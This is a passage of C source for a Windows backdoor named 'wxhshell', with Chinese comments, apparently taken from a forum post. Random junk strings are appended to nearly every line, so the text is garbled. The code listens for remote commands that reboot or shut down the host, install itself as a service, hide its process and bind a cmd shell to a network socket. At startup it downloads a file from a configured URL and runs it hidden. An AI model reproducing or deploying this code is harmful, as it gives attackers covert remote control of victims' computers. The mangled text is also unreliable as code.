  case '?': { ;Drt4fOxX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -p|@Enn  
    break; 577H{;pW  
  } /ESmQc:DWB  
  // 安装 yFp8 >  
  case 'i': { Gy*6I)l  
    if(Install()) ~HbZRDcJc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O2[uN@nY  
    else :Oz! M&Ov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Dbjp5_  
    break; [C@0&[[  
    } Mz}yf5{f  
  // 卸载 -5 -X[`cF  
  case 'r': { S`yY<1[O  
    if(Uninstall()) N O|&nqq,>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G.KZZ-=_4  
    else aBX^Wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y<X,(\iEHP  
    break; y}NBJ  
    } O=wA/T=w?  
  // 显示 wxhshell 所在路径 vM5u]u!  
  case 'p': { }gY:VDW  
    char svExeFile[MAX_PATH]; !oTF2Q+C  
    strcpy(svExeFile,"\n\r"); ,U_p6 TV5  
      strcat(svExeFile,ExeFile); T\g%.  
        send(wsh,svExeFile,strlen(svExeFile),0); RIXUzKLO  
    break; Fs rGI (x?  
    } k@qn' Zi  
  // 重启 L&td4`2y  
  case 'b': { w!{g^*R+!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v1 h*/#  
    if(Boot(REBOOT)) K8 Y/sHl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j(Tt-a("z  
    else { Xj:?V;  
    closesocket(wsh); ]d]tQPEU  
    ExitThread(0); D'y/ pv}!  
    } 4zyy   
    break; a =LjFpv/]  
    } rYI9?q  
  // 关机 ^:Vwblv(  
  case 'd': { 4u;db_gX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cX$ Pq  
    if(Boot(SHUTDOWN)) # [c`]v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;IX3w:Aw  
    else { SWujj,-[  
    closesocket(wsh); p"Ki$.Y  
    ExitThread(0); ]HoQ6R\E b  
    } Z_&6 <1,H  
    break; /p| ]*={  
    } wpw~[xd  
  // 获取shell SOo/~ giz|  
  case 's': { C!N&uNp@s  
    CmdShell(wsh); f]F]wg\_f  
    closesocket(wsh); m S[Vl6  
    ExitThread(0); _aOisN{  
    break; Z{/0 P  
  } sMh3IL9(*  
  // 退出 N~H9|CX  
  case 'x': { r0=Aru5n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T9enyYt%  
    CloseIt(wsh); "T4Z#t  
    break; 1=C>S2q  
    } 3| 5Af  
  // 离开 ?YR/'Vq97  
  case 'q': { L5C4#X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;hsgi|Cy-  
    closesocket(wsh); MrIo.  
    WSACleanup(); |1`|E- S=  
    exit(1); o ~"?K2@T  
    break; uZ mi  
        } JwR]!  
  } Q8.SD p  
  } j>s> i  
X^4HYm  
  // 提示信息 M|e Qds  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *RKYdwnb  
} A-:58Qau+  
  } {4"!~W  
nU$;W  
  return; j*"V! d  
} z38&7+  
d)m +Hc.  
// shell模块句柄 .{as"h-.O  
int CmdShell(SOCKET sock) 4}B9y3W:v  
{ 7_>No*[  
STARTUPINFO si; 7VkT(xnm  
ZeroMemory(&si,sizeof(si)); aL@myq.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &mj98  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {<7!=@j  
PROCESS_INFORMATION ProcessInfo; r (Ab+1b  
char cmdline[]="cmd"; +o)o4l%3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E.kGBA;a?  
  return 0; d[ql7  
} )24r^21.q  
`mV&[`NZ  
// 自身启动模式 +5(#~  
int StartFromService(void) B5"(NJ;  
{ ^]}UyrOn  
typedef struct |<&9_Aq_  
{ w4Nm4To  
  DWORD ExitStatus; F"xD^<i  
  DWORD PebBaseAddress; =}5;rK  
  DWORD AffinityMask; )F;`07  
  DWORD BasePriority; 1au1DvH  
  ULONG UniqueProcessId; "\bbe@  
  ULONG InheritedFromUniqueProcessId; *"#62U6  
}   PROCESS_BASIC_INFORMATION; FCxLL"))  
9:N@+;|T  
PROCNTQSIP NtQueryInformationProcess; F)KUup)gc  
9u";%5 4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dM"Suw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g+h)s!$sB  
D}59fWz@  
  HANDLE             hProcess; U-(2;F)  
  PROCESS_BASIC_INFORMATION pbi; o*H j E  
VH1PC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Eh\0gQ=  
  if(NULL == hInst ) return 0; e,/b&j*4th  
_gZ8UZ)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?2l#=t?PP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KWIH5* AM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VA*~R S  
1ipfv-hb6  
  if (!NtQueryInformationProcess) return 0; Hm@+(j(N96  
k4iu`m@^H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +u;f]p  
  if(!hProcess) return 0; i8A{DMc,U  
ZaQg SE>Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :X-Z|Pv8  
Fl\X&6k  
  CloseHandle(hProcess); Z3E957}  
^Nl)ocHv!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *het_;)+{  
if(hProcess==NULL) return 0; q B-9&X  
M^I*;{w6i  
HMODULE hMod; ;=piJ%k  
char procName[255]; U^<\'`  
unsigned long cbNeeded; BU-+L}-48  
ZzET8?8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S\2QZ[u  
txM R[o_  
  CloseHandle(hProcess); &RQQVki3  
%''z~LzJ8  
if(strstr(procName,"services")) return 1; // 以服务启动 rug^_d=B  
dj,7lJy  
  return 0; // 注册表启动 o, e y.  
} (u`[I4z`  
gzDH~'8W  
// 主模块 hXr`S4aJ  
int StartWxhshell(LPSTR lpCmdLine) e6n1/TtqM  
{ !l!^`c  
  SOCKET wsl; (.Tkv Uj`  
BOOL val=TRUE; $!P(Q  
  int port=0; ]nE_(*w  
  struct sockaddr_in door; m~Q]#r  
=Ly7H7Q2  
  if(wscfg.ws_autoins) Install(); kgfOH.P  
O<nJbsl_w  
port=atoi(lpCmdLine); N\XZ=t^h(  
5qo^SiB.  
if(port<=0) port=wscfg.ws_port; [wB-e~   
OM5"&ZIZb  
  WSADATA data; C 9IKX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _%#Q \ D  
WbZ{) i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -kY7~yS7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G!},jO*"  
  door.sin_family = AF_INET; WS6pm6@A*!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n|`L>@aw,  
  door.sin_port = htons(port); K$_Rno"  
lk8g2H ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g`~c|bx  
closesocket(wsl); zh7#[#>t  
return 1; f&=y\uP]  
} OMG.64DX .  
NQS@i'W=g  
  if(listen(wsl,2) == INVALID_SOCKET) { Pk444_"=  
closesocket(wsl); D )z'FOaI  
return 1; Yjxa=CD  
} ~@=:I  
  Wxhshell(wsl); 5fi6>>  
  WSACleanup(); A-gNfXP,D  
gNr/rp9A$m  
return 0; Pnq[r2#]:  
;} ),6R  
} Z M"J5}h  
z#*M}RR  
// 以NT服务方式启动 >xu}eWSz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  `=b)fE  
{ 0JTDJZOz@#  
DWORD   status = 0; }Y\Ayl  
  DWORD   specificError = 0xfffffff; a x1  
+k]9n*^uz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^luAX }*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (9q61z A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "orZje9AC  
  serviceStatus.dwWin32ExitCode     = 0; cQEK>aAd  
  serviceStatus.dwServiceSpecificExitCode = 0; `[\*1GpAo  
  serviceStatus.dwCheckPoint       = 0; NyU~8?bp  
  serviceStatus.dwWaitHint       = 0; hPtSY'_@_  
w :2@@)pr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sd?:+\bS;  
  if (hServiceStatusHandle==0) return; \M^L'Mkj  
{`fhcEC  
status = GetLastError(); 1GB$;0 W),  
  if (status!=NO_ERROR) krwY_$q  
{ ]F5?>du@~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ##VS%&{  
    serviceStatus.dwCheckPoint       = 0; g+8{{o=  
    serviceStatus.dwWaitHint       = 0; yv| |:wZC  
    serviceStatus.dwWin32ExitCode     = status; $(v1q[ig  
    serviceStatus.dwServiceSpecificExitCode = specificError; B6~a `~"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +jD?h-]  
    return; [G:wPp.y  
  } Y%!3/3T  
J^[>F{8!n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QUd`({/@:  
  serviceStatus.dwCheckPoint       = 0; ]5IG00`  
  serviceStatus.dwWaitHint       = 0; b,kXV<KtU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rb=T'x'  
} g[fCvWm#d  
[.;$6C/?  
// 处理NT服务事件,比如:启动、停止 FEgM4m.(G<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ho[Kxe[c  
{ n1K"VjZk  
switch(fdwControl) g(xuA^~J  
{ w J FEua  
case SERVICE_CONTROL_STOP: QCkPua9  
  serviceStatus.dwWin32ExitCode = 0; [?u iM^&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; , Zs:e.  
  serviceStatus.dwCheckPoint   = 0; GKdQ  
  serviceStatus.dwWaitHint     = 0; vy W/f  
  { 1zNH[   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # JHicx\8l  
  } zOA{S~>  
  return; d U n+?  
case SERVICE_CONTROL_PAUSE: WCxt-+#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oLVy?M%{P  
  break; H%NP4pK  
case SERVICE_CONTROL_CONTINUE: ~M`-sSjZs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1<a+91*=e  
  break; 8 _0j^oh  
case SERVICE_CONTROL_INTERROGATE: wN/d J  
  break; CuRYtY@9  
}; r@L19d)J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ],ioY*4G  
} nxH=Ut7{  
^t4T8ejn  
// 标准应用程序主函数 M@@l>"g@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dr3#?%  
{ 5 {cbcuG  
i-Ck:-J  
// 获取操作系统版本 4Z>KrFO  
OsIsNt=GetOsVer(); --E_s /   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1~\YJEsb}d  
=$3]%b}  
  // 从命令行安装 8Z{&b,Y4L  
  if(strpbrk(lpCmdLine,"iI")) Install(); b%<-(o/  
bL\ab  
  // 下载执行文件 +O P8U]~  
if(wscfg.ws_downexe) { "PH}\Dl=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O#}T.5t  
  WinExec(wscfg.ws_filenam,SW_HIDE); dWV.5cViP  
} F?Cx"JYix  
LwIl2u*  
if(!OsIsNt) { JK:i-  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ht= (Jk9  
HideProc(); Gs]m; "o|  
StartWxhshell(lpCmdLine); |fX @o0H  
} >Qg`Us#y  
else #DjSS.iW  
  if(StartFromService()) M:V'vme)+  
  // 以服务方式启动 RWM9cV5  
  StartServiceCtrlDispatcher(DispatchTable); Htd-E^/  
else !}7FC>Cx  
  // 普通方式启动 KEF"`VTB@  
  StartWxhshell(lpCmdLine); 5tUp[/]pl  
.Fo0AjL}x  
return 0; }gw \w?/  
}
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只看该作者 1 发表于: 2006-10-10
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